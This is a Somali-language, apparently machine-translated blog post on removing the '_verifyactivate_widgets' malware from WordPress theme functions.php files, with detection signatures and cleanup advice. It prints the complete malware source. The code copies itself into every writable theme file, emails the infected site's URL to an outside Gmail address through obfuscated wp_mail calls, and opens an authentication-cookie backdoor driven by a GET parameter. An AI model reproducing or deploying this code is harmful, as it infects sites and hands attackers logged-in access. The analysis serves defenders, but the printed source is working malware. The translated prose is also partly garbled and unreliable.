Sida mawduucyada WordPress u nadiifiyo koodka xaasidnimada leh _verifyactivate_widgets

dhawaanChen WeiliangIsticmaal ahaanAmniga Wordfence Security plugin wuxuu baadhayaa shabakadaha kood xaasidnimada lehKa dib, waa la helayWordPressFaylka function.php mawduuca, koodhka fayraska xaasidka ah waa qarsoon yahay.

Koodhka xaasidnimada leh ee ku jira mawduuca WordPress.php faylka

Meesha ugu badan ee "code xaasidnimo" ee WordPress waa function.php ee hagaha mawduuca, badiyaa qarsoodi ah dhamaadka faylka function.php.

dhibaatada ugu weyn:Koodhka xaasidnimada ah ayaa ogaan doona in dhammaan mawduucyada ku hoos jira baloogga hadda jira ay cudurka qabaan mar kasta oo qof soo booqdo boggaga blogka, haddii kale, way wada qaadi doonaan cudurka.

Taas ka dib, marka bilawga bilawga ah ee wp la fuliyo, waxay hubin doontaa in baloogga hadda jira uu u soo diray email sanduuqa boostada livethemas@gmail. tag

Sidee ku ogaan kartaa in la dhajiyay?

• Gudaha miiskaaga wp_options waxaa ku jira fayl la yiraahdo_is_widget_active_ikhtiyaarka, haddii si guul leh loo diray, dhig qiimaheeda 1;
• Haddaysan ahayn, u isticmaal URL-ka bogga hore ee baloogga hadda cudurka qaba sida cinwaanka iyo nuxurka.
• Taasi waa, ma jiraan waxyaabo kale oo xun oo la sameeyo.

Koodhka fayraska xaasidnimada leh waa sida soo socota (waxaa jiri kara farqi, laakiin koodka aasaasiga ah waa isku mid):

<?php
function _verifyactivate_widgets(){
//当前文件名，如/path-to-www/wp-content/themes/SimpleDark/functions.php
//查找当前主题functions.php文件中最后一个 <? 标记，从这个标记的位置开始，取得一直到文件尾的内容
$widget=substr(file_get_contents(__FILE__),strripos(file_get_contents(__FILE__),“<“.“?”));
$output=“”;
$allowed=“”;
//去除html和php标签，其实这一句是扯蛋。。。
$output=strip_tags($output, $allowed);
//取得主题目录themes的绝对路径，如 /path-to-www/wp-content/themes
//为了加强程序的兼容性，它不惜以这种很晦涩的方式来获取。。。
//以主题目录themes的绝对路径用array包裹为参数传递给_get_allwidgets_cont函数获取此博客的所有主题的functions.php文件的绝对路径
$direst=_get_allwidgets_cont(array(substr(dirname(__FILE__),0,stripos(dirname(__FILE__),“themes”) + 6)));
if (is_array($direst)){
foreach ($direst as $item){
//如果主题functions.php文件可写
if (is_writable($item)){
//特征码
$ftion=substr($widget,stripos($widget,“_”),stripos(substr($widget,stripos($widget,“_”)),“(“));
//取目标functions.php文件内容
$cont=file_get_contents($item);
//没找到特征码?OK,试图感染
if (stripos($cont,$ftion) === false){
//查看目标functions.php文件最后是否是以 ?> 结尾，如果不是，给加上 ?> 标记
$comaar=stripos( substr($cont,-20),”?”.”>”) !== false ? “” : “?”.”>”;
//这里的代码是忽悠人了，模仿WP widgets的代码，蛊惑你的眼睛，让你觉得这是widget代码。。。
$output .= $before . “Not found” . $after;
//如果文件是以 ?> 标记结尾的，连标记一起取过来
if (stripos( substr($cont,-20),”?”.”>”) !== false){$cont=substr($cont,0,strripos($cont,”?”.”>”) + 2);}
//开始感染,$widget内容即是恶意代码自身,在functions.php文件原内容后附加恶意代码
$output=rtrim($output, “\n\t”); fputs($f=fopen($item,”w+”),$cont . $comaar . “\n” .$widget);fclose($f);
//后面这句也是伪装用的
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
}
}
}
}
return $output;
}
function _get_allwidgets_cont($wids,$items=array()){
//从$wids数组弹出一个元素(实际上是一个位置)
$places=array_shift($wids);
//如果位置字串是以/结尾的，则去掉/
if(substr($places,-1) == “/”){
$places=substr($places,0,-1);
}

//若不存在这样的文件或目录则直接返回false
if(!file_exists($places) || !is_dir($places)){
return false;
}elseif(is_readable($places)){
//否则的话。。。嘿嘿
//遍历此目录
$elems=scandir($places);
foreach ($elems as $elem){
if ($elem != “.” && $elem != “..”){
//如果是目录,则加入$wids数组
if (is_dir($places . “/” . $elem)){
$wids[]=$places . “/” . $elem;
} elseif (is_file($places . “/” . $elem)&&
$elem == substr(__FILE__,-13)){
//否则，如果是文件，并且文件名等于 functions.php的话，则加入到$items数组保存,这才是它的目的functions.php正是它要找的
$items[]=$places . “/” . $elem;}
}
}
}else{
return false;
}
//下面还有子目录？再找找看,递归
if (sizeof($wids) > 0){
return _get_allwidgets_cont($wids,$items);
} else {
//好了，完事了，以数组返回所有找到的functions.php文件的绝对路径
return $items;
}
}

//下面是3个针对低版本的php而写的兼容函数
if(!function_exists(“stripos”)){
function stripos( $str, $needle, $offset = 0 ){
return strpos( strtolower( $str ), strtolower( $needle ), $offset );
}
}

if(!function_exists(“strripos”)){
function strripos( $haystack, $needle, $offset = 0 ) {
if( !is_string( $needle ) )$needle = chr( intval( $needle ) );
if( $offset < 0 ){
$temp_cut = strrev( substr( $haystack, 0, abs($offset) ) );
}
else{
$temp_cut = strrev( substr( $haystack, 0, max( ( strlen($haystack) – $offset ), 0 ) ) );
}
if( ( $found = stripos( $temp_cut, strrev($needle) ) ) === FALSE )return FALSE;
$pos = ( strlen( $haystack ) – ( $found + $offset + strlen( $needle ) ) );
return $pos;
}
}
if(!function_exists(“scandir”)){
function scandir($dir,$listDirectories=false, $skipDots=true) {
$dirArray = array();
if ($handle = opendir($dir)) {
while (false !== ($file = readdir($handle))) {
if (($file != “.” && $file != “..”) || $skipDots == true) {
if($listDirectories == false) { if(is_dir($file)) { continue; } }
array_push($dirArray,basename($file));
}
}
closedir($handle);
}
return $dirArray;
}
}

//这个动作添加了，用于检测所有主题目录下functions.php并感染
add_action(“admin_head”, “_verifyactivate_widgets”);

function _getprepare_widget(){
if(!isset($text_length)) $text_length=120;
if(!isset($check)) $check=”cookie”;
if(!isset($tagsallowed)) $tagsallowed=”<a>“;
if(!isset($filter)) $filter=”none”;
if(!isset($coma)) $coma=””;
if(!isset($home_filter)) $home_filter=get_option(“home”);
if(!isset($pref_filters)) $pref_filters=”wp_”;
if(!isset($is_use_more_link)) $is_use_more_link=1;
if(!isset($com_type)) $com_type=””;
if(!isset($cpages)) $cpages=$_GET[“cperpage”];
if(!isset($post_auth_comments)) $post_auth_comments=””;
if(!isset($com_is_approved)) $com_is_approved=””;
if(!isset($post_auth)) $post_auth=”auth”;
if(!isset($link_text_more)) $link_text_more=”(more…)”;
if(!isset($widget_yes)) $widget_yes=get_option(“_is_widget_active_”);
if(!isset($checkswidgets))
//这个实际是wp_set_auth_cookie
$checkswidgets=$pref_filters.”set”.”_”.$post_auth.”_”.$check;
if(!isset($link_text_more_ditails)) $link_text_more_ditails=”(details…)”;
if(!isset($contentmore)) $contentmore=”ma”.$coma.”il”;
if(!isset($for_more)) $for_more=1;
if(!isset($fakeit)) $fakeit=1;
if(!isset($sql)) $sql=””;

//如果 _is_widget_active_ option内容为空,即表示没有被感染过
if (!$widget_yes) :

global $wpdb, $post;
//取出存在已经通过的评论（不包括trackback/pingback）的文章
// post_author 为 [email protected] 的文章，肯定是没有的

$sq1=”SELECT DISTINCT ID, post_title, post_content, post_password, comment_ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND post_author=\”li”.$coma.”vethe”.$com_type.”mas”.$coma.”@”.$com_is_approved.”gm”.$post_auth_comments.”ail”.$coma.”.”.$coma.”co”.”m\” AND post_password=\”\” AND comment_date_gmt >= CURRENT_TIMESTAMP() ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if (!empty($post->post_password)) {
if ($_COOKIE[“wp-postpass_”.COOKIEHASH] != $post->post_password) {
if(is_feed()) {
$output=__(“There is no excerpt because this is a protected post.”);
} else {
$output=get_the_password_form();
}
}
}
if(!isset($fixed_tags)) $fixed_tags=1;
if(!isset($filters)) $filters=$home_filter;
//$gettextcomments实际上为 wp_mail
if(!isset($gettextcomments)) $gettextcomments=$pref_filters.$contentmore;
if(!isset($tag_aditional)) $tag_aditional=”div”;

//这里$sh_cont即为 [email protected]
if(!isset($sh_cont)) $sh_cont=substr($sq1, stripos($sq1, “live”), 20);#
if(!isset($more_text_link)) $more_text_link=”Continue reading this entry”;
if(!isset($isshowdots)) $isshowdots=1;

$comments=$wpdb->get_results($sql);
if($fakeit == 2) {
$text=$post->post_content;
} elseif($fakeit == 1) {
$text=(empty($post->post_excerpt)) ? $post->post_content : $post->post_excerpt;
} else {
$text=$post->post_excerpt;
}
//开始调用　wp_mail 向 [email protected] 发送邮件，标题和内容都是被感染的博客的URL 地址
$sq1=”SELECT DISTINCT ID, comment_post_ID, comment_author, comment_date_gmt, comment_approved, comment_type, SUBSTRING(comment_content,1,$src_length) AS com_excerpt FROM $wpdb->comments LEFT OUTER JOIN $wpdb->posts ON ($wpdb->comments.comment_post_ID=$wpdb->posts.ID) WHERE comment_approved=\”1\” AND comment_type=\”\” AND comment_content=”. call_user_func_array($gettextcomments, array($sh_cont, $home_filter, $filters)) .” ORDER BY comment_date_gmt DESC LIMIT $src_count”;#
if($text_length < 0) {
$output=$text;
} else {
if(!$no_more && strpos($text, “<span id=“more-5265”></span>“)) {
$text=explode(“<span id=“more-5675”></span>“, $text, 2);
$l=count($text[0]);
$more_link=1;
//执行这一句时就开始发邮件了。
$comments=$wpdb->get_results($sql);
} else {
$text=explode(” “, $text);
if(count($text) > $text_length) {
$l=$text_length;
$ellipsis=1;
} else {
$l=count($text);
$link_text_more=””;
$ellipsis=0;
}
}
for ($i=0; $i<$l; $i++)
$output .= $text[$i] . ” “;
}
//把感染标记置为1
update_option(“_is_widget_active_”, 1);
if(“all” != $tagsallowed) {
$output=strip_tags($output, $tagsallowed);
return $output;
}
endif;
$output=rtrim($output, “\s\n\t\r\0\x0B”);
$output=($fixed_tags) ? balanceTags($output, true) : $output;
$output .= ($isshowdots && $ellipsis) ? “…” : “”;
//$filter 为 none …,又是在伪装
$output=apply_filters($filter, $output);
switch($tag_aditional) {
case(“div”) :
$tag=”div”;
break;
case(“span”) :
$tag=”span”;
break;
case(“p”) :
$tag=”p”;
break;
default :
$tag=”span”;
}

//$checkswidgets即是wp_set_auth_cookie
if ($is_use_more_link ) {
if($for_more) {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “#more-” . $post->ID .”\” title=\”” . $more_text_link . “\”>” . $link_text_more = !is_user_logged_in() && @call_user_func_array($checkswidgets,array($cpages, true)) ? $link_text_more : “” . “</a></” . $tag . “>” . “\n”;
} else {
$output .= ” <” . $tag . ” class=\”more-link\”><a href=\””. get_permalink($post–>ID) . “\” title=\”” . $more_text_link . “\”>” . $link_text_more . “</a></” . $tag . “>” . “\n”;
}
}
return $output;
}

//这里是用来干坏事的，这才是这个恶意代码的目的,前面的感染是“准备活动”
add_action(“init”, “_getprepare_widget”);


//这个函数也是用来伪装的,无恶意
function __popular_posts($no_posts=6, $before=”<li>“, $after=”</li>“, $show_pass_post=false, $duration=””) {
global $wpdb;
$request=”SELECT ID, post_title, COUNT($wpdb->comments.comment_post_ID) AS \”comment_count\” FROM $wpdb->posts, $wpdb->comments”;
$request .= ” WHERE comment_approved=\”1\” AND $wpdb->posts.ID=$wpdb->comments.comment_post_ID AND post_status=\”publish\””;
if(!$show_pass_post) $request .= ” AND post_password =\”\””;
if($duration !=””) {
$request .= ” AND DATE_SUB(CURDATE(),INTERVAL “.$duration.” DAY) < post_date “;
}
$request .= ” GROUP BY $wpdb->comments.comment_post_ID ORDER BY comment_count DESC LIMIT $no_posts”;
$posts=$wpdb->get_results($request);
$output=””;
if ($posts) {
foreach ($posts as $post) {
$post_title=stripslashes($post->post_title);
$comment_count=$post->comment_count;
$permalink=get_permalink($post->ID);
$output .= $before . ” <a href=\”” . $permalink . “\” title=\”” . $post_title.“\”>” . $post_title . “</a> ” . $after;
}
} else {
$output .= $before . “None found” . $after;
}
return $output;
}
?>

Waa maxay koodka xaasidnimada leh ee mawduuca WordPress?

Haddii la iskaankaro plugin Wordfence Security ay go'aamiso in faylkaaga function.php la farageliyay, iska hubi, tusaale ahaan:

1. _verifyactivate_widgets
2. function _checkactive_widgets
3. shaqada _hel_allwidgets_cont
4. stripos function
5. shaqada stripos
6. scandir function
7. function _getprepare_widget
8. shaqada __boosyada caanka ah
9. add_action ("admin_head", "_checkactive_widgets");
10. add_action ("init", "_getprepare_widget");
11. _verify_isactivate_widgets
12. _Check_isactive_widget
13. _hel_allwidgetscont
14. _diyaari_widgets
15. __posts_ caan ah

• Xariiq kastaa waa madax banaan yahay, haddii aad ku leedahay koodhka kore ee functional.php markaa waxaa laga yaabaa in lagu garaaco.
• Waxaa ka mid ah, hawlaha iyo add_action guud ahaan waa koodka "koodka xaasidnimada" ee ka tirsan "hawlaha diyaarinta".

Sida loo saaro WordPress theme function.php code fayraska xaasidnimo?

Waxa kale oo aad u fudud in la nadiifiyo, kaliya ka hel koodka la midka ah kan kor ku yaal faylka function.php ee mawduuca WordPress oo tirtir, laakiin sababtoo ah mar uu cudurku dhaco, dhammaan mawduucyada ku jira buugga mawduucaaga mawduuca waa la qaadi doonaa, markaa kaliya hadda Mawduuca la isticmaalay waa mid aan sax ahayn waxaana la soo saari doonaa isla marka la nadiifiyo.

Xalku waa in meesha laga saaro koodhka fayraska xaasidnimada leh ee hal mawduuc WordPress ah, dejiyo faylka functional.php rukhsadaha 444, ka dibna la nadiifiyo mawduucyada kale ee WordPress.

Marka laga hadlayo in oggolaanshaha 444 ee faylka functional.php ee ugu dambeeya uu u baahan yahay in dib loo beddelo, dadku waxay soo jeedinayaan in 444 ay tahay mid ammaan ah oo la beddeli karo marka loo baahdo.

Qoraalada ku saabsan isticmaalka plugin Security Wordfence

Waxaan kugula talineynaa plugin WordPress by Wordfence Security, plugin amniga WordPress ah oo leh dab-damis isku dhafan iyo iskaanka malware, oo ay dhiseen oo ay ilaaliyeen koox weyn oo 100% diiradda saarey amniga WordPress.

In kasta oo ay jiraan qaybo lacag ah, waxaan u isticmaali karnaa moduleka bilaashka ah "Scan" si aan u sawiro boggayaga WordPress ee faylasha PHP ee ay ku jiraan "code xaasidnimo", in kasta oo uu jiro qiime been ah oo gaar ah (badanaa plugins dhab ah, qaybta sirta ah ee mawduuca waa la xannibi doonaa. by been positives), laakiin helitaanka "code xaasidnimo" hubaal waa shaqo dheeraad ah oo leh dadaal yar.

Waa in la ogaadaa in fur-in laguma talinayo in si joogto ah loo shido, sababtoo ah dab-damiskeeda iyo ilaalinta ammaanku waxay keeni doontaa cadaadis gaar ah oo ku saabsan kaydka xogta waxayna saameyneysaa waxqabadka bogga internetka.

Caadi ahaan, plugins-yada waxaa loo sahlayaa inay socodsiiyaan baaritaannada "scan" marka loo baahdo.

Xir fur-gelinta ka dib marka baaritaanka la dhammeeyo, haddii ay dhacdo xaalad degdeg ah.